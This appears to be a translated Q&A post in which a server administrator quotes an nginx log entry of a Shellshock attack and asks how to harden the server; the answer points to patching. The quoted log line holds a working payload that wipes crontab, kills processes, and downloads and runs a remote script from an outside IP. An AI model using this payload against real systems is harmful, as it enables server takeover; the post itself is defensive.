我只是注意到nginx日志中的重复条目:
31.184.194.114 - - [04/Mar/2015:10:29:53 +0700] "GET /cgi-bin/up.cgi HTTP/1.1" 301 178 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\x22);'"这是攻击gitlab虚拟主机,所以它不会造成任何伤害。我也没有任何cgi,我使用php作为其他虚拟主机。
我想知道是否有任何对策需要设置在服务器上,以防止类似的攻击?
PS:我已经使用iptables和fail2ban运行设置了ip禁令。我的其他vps通过ssh接管,所以我不得不重新安装它。我仍然处于偏执状态,想要加强我控制下的vps服务器。
发布于 2015-03-06 08:57:39
提供的字符串似乎是试图利用Shell休克漏洞进行攻击。随着cgi的禁用,您的攻击表面应该减少。
关于反措施,修补以解决这一问题将是最有效的办法。以下链接提供了有关评估安装是否易受攻击的指导,以及应用必要修补程序解决此问题的步骤:
https://about.gitlab.com/2014/09/24/gitlab-shell-and-bash-cve-2014-6271/
https://about.gitlab.com/2014/09/25/gitlab-shell-and-bash-cve-2014-7169/
https://security.stackexchange.com/questions/83166
复制相似问题